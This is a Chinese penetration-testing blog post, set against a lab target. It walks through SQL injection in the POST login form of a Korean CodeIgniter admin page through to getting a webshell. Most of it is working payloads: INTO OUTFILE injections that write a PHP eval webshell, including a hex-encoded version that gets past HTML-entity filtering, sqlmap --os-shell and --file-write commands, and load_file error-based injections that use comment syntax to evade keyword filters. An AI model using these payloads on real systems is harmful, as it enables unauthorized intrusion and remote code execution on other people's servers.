韩国登录框POST注入到Getshell

简介: 韩国登录框POST注入到Getshell

0x01 前言

在上篇文章中介绍了一个意大利后台登录框POST注入漏洞的基本利用方法,而这篇文章主要记录的是一个韩国后台登录框POST注入漏洞在Getshell时遇到的安全过滤简单分析过程和绕过方法,这次用于测试的漏洞靶场由@黑无常老哥提供,在此表示感谢



0x02 POST注入安全过滤分析

这套程序的开发作者采用的CodeIgniter框架,但他后台登录验证功能时没有经过有效过滤直接带入查询,导致出现SQL注入漏洞

  • 问题文件:.\application\models\login_model.php


通过对代码的分析和后台登录页的测试发现确实存在POST注入漏洞,那么我们就先来尝试一下常规的Getshell方法看下是否可行

    'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#


    在上图中可以看到文件已经被成功写进去了,但是<>尖括号和()小括号都被过滤掉了。


    注:浏览器访问时发现文件内容显示是正常的,测试过程中遇到这种情况时可能会误认为该文件没有被解析,其实并不是的,只不过是因为转换后的编码也能被浏览器正常解析罢了。


    找到过滤文件看下代码怎么写的,很多网站都是直接采用htmlentities()、htmlspecialchars()等函数将一些预定义的字符转换为HTML实体编码,而这个开发作者是利用正则匹配和替换方式将<>尖括号转换为HTML实体编码,包含特定关键词的()小括号替换为了Unicode编码

    • 危险字符过滤文件:.\system\core\Security.php
    • HTML实体编码:<>尖括号 = <>
    • Unicode ASCII 10进制编码:()小括号 = ()


    Unicode五种编码形式:

    Unicode &#(ASCII 10进制):&#57;&#48;&#115;&#101;&#99;
    Unicode &(ASCII 10进制):&#00057;&#00048;&#00115;&#00101;&#00099;
    Unicode \u(HEX 16进制):\u0039\u0030\u0073\u0065\u0063
    Unicode \u+(HEX 16进制):\u+0039\u+0030\u+0073\u+0065\u+0063
    Unicode &#x(HEX 16进制):&#x0039;&#x0030;&#x0073;&#x0065;&#x0063

    常用PHP安全过滤函数有:

      magic_quotes_gpc                //对GET、POST、COOKE中的数据进行过滤
      mysql_real_escape_string()      //转义SQL语句中的特殊字符
      addslashes()                    //在预定义字符之前添加反斜杠
      stripslashes()                  //删除反斜杠
      htmlentities()                  //将字符转换为HTML实体
      htmlspecialchars()              //将预定义字符< 、 >等转换为HTML实体
      strip_tags()                    //删除字符串中的HTML标签
      md5()                            //Md5加密函数
      sha1()                          //sha1加密函数
      intval()                        //将变量转成整数型
      [...SNIP...]


      Sqlmap Getshell数据包分析

      (1) sqlmap --v 3参数获取注入Payload

        sqlmap -r post.txt -p "userid" --os-shell -v 3



        (2) sqlmap --proxy参数获取注入payload

          sqlmap -r post.txt -p "userid" --os-shell --proxy "http://127.0.0.1:8080"


          注:使用--os-shell、--file-write、--file-dest、--file-read等参数在读取和写入文件时都会提示500的报错,但其实文件都已经成功写入到指定路径里了,只是内容为空而已,只需要在--os-shell参数的Payload前加上'or 1=1即可成功写入

            root@kali:~# sqlmap -r post.txt -p "userid" --file-write "/tmp/shell.php" --file-dest "C:\\phpStudy\\WWW\\kr\\upload\\webshell.php" -v 3


            0x03 POST注入GetShell绕过

            (1) 因WAF注入规则或自写安全脚本过滤了union、select等,这时可以尝试使用以下方法进行绕过。

              'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php @eval($_POST['90sec']);?>"#


              (2) 用htmlentities()、htmlspecialchars()等函数将<>尖括号转换为html实体编码,或利用正则匹配和替换方式将<>尖括号和()小括号替换为Unicode编码,这时我们可以将一句话木马的内容进行HEX编码即可绕过

                'or 1=1 limit 0,1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by 0x3C3F70687020406576616C28245F504F53545B273930736563275D293B203F3E%23

                0x04 POST注入Load_File绕过

                由于安全过滤中也匹配了file、file_get_contents、readfile关键字,所以不能直接使用load_file()函数读取目标磁盘上的文件,用以下语句进行测试,可以看到load_file()函数中的括号已经被编码了,感谢团队@Cream老哥给推荐的seay大佬写的MySQL监控插件。

                  'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'


                  虽然被过滤了,但还是可以利用/*..*/、/*!..*/注释方式来绕过安全过滤中正则匹配到的file等关键字。

                    'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/**/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
                    'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(/*!load_file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'


                    相关文章
                    |
                    1月前
                    |
                    缓存 机器人 网络安全
                    steam报错“您对 CAPTCHA 的响应似乎无效。请在下方重新验证您不是机器人”
                    你是否满怀期待地准备加入 Steam 的大家庭,却被烦人的 CAPTCHA 验证拦在了门外? 😫 “您对 CAPTCHA 的响应似乎无效。请在下方重新验证您不是机器人。” 这句冰冷的提示,仿佛在嘲笑你的努力,即使反复尝试,错误依然顽固地存在,让人抓狂!🤯 别担心,你不是一个人!很多小伙伴在初次接触 Steam 时,都会遇到这个令人头疼的问题。
                    |
                    4月前
                    |
                    缓存 机器人 网络安全
                    解决steam错误提示“您对 CAPTCHA 的响应似乎无效,请在下方重新验证您不是机器人”的解决办法
                    在使用 Steam 的过程中,许多新手用户可能会遇到这样一个问题:当他们试图完成注册或其他操作时,系统提示“您对 CAPTCHA 的响应似乎无效,请在下方重新验证您不是机器人。”即使多次尝试,错误提示仍然出现,阻碍了用户的下一步操作。这种情况可能令人沮丧,但了解其背后的原因和解决办法可以帮助我们顺利解决这个问题。
                    3845 11
                    |
                    5月前
                    |
                    SQL 前端开发 安全
                    使用 BurpSuite 绕过验证码实施表单
                    使用 BurpSuite 绕过验证码实施表单
                    使用 BurpSuite 绕过验证码实施表单
                    |
                    5月前
                    |
                    JavaScript 前端开发 PHP
                    34、文件上传 -- 绕过JS验证
                    34、文件上传 -- 绕过JS验证
                    51 0
                    |
                    SQL 安全 测试技术
                    意大利后台登录框POST注入实战
                    意大利后台登录框POST注入实战
                    132 0
                    |
                    安全 前端开发 网络安全
                    网站漏洞检测服务对URL跳转漏洞检测分析
                    网站渗透测试是指在没有获得网站源代码以及服务器的情况下,模拟入侵者的攻击手法对网站进行漏洞检测,以及渗透测试,可以很好的对网站安全进行全面的安全检测,把安全做到最大化。在挖掘网站漏洞的时候我们发现很多网站存在域名跳转的情况,下面我们来详细的讲解一下。
                    376 0
                    网站漏洞检测服务对URL跳转漏洞检测分析
                    |
                    监控 安全 搜索推荐
                    网址被QQ拦截后应该怎么做才可能尽快解除拦截
                    作为一个多元化的应用平台,QQ拥有着庞大的基础用户群,腾讯旗下任何一个新兴的网络应用都会受到QQ用户的广泛认可,因此,QQ应用平台一直是网站推广的理想选择。
                    736 0
                    网址被QQ拦截后应该怎么做才可能尽快解除拦截
                    |
                    Web App开发 网络安全
                    Firefox 屏蔽中国大陆用户安装 uBlock Origin 等广告拦截插件
                    Firefox 屏蔽中国大陆用户安装 uBlock Origin 等广告拦截插件
                    543 0
                    Firefox 屏蔽中国大陆用户安装 uBlock Origin 等广告拦截插件
                    |
                    SQL 安全 搜索推荐
                    网站被入侵导致阿里云违规URL屏蔽该如何处理
                    距离2022年元旦约越来越近,我们发现很多网站用IIS环境尤其是aspx+sqlserver架构的网站总是被攻击,具体症状首先是接到阿里云的通知说是有违规URL通知,然后过了几天发现百度site网站域名,多了很多与网站本身内容不相关的垃圾快照内容,从百度点击这个快照地址进去后显示404找不到页面,但从百度站长工具里抓取页面就能看到内容,说明攻击者对搜索引擎的UA标识做了判断进行混淆,导致从肉眼看不出任何问题,但快照依然在继续增加新收录。
                    470 0
                    网站被入侵导致阿里云违规URL屏蔽该如何处理
                    |
                    Web App开发 安全 索引
                    网站点击进去出现“该内容被禁止访问”的拦截处理
                    很多客户的网站被拦截并提示:“该内容被禁止访问”,大多数客户使用的都是阿里云的虚拟主机以及ECS服务器,最近发生这种问题的网站也越来越多,这几天刚解决完一个客户网站被阿里云:违规URL屏蔽访问处理通知并拦截,经过朋友介绍找到我们SINE安全公司。
                    5183 0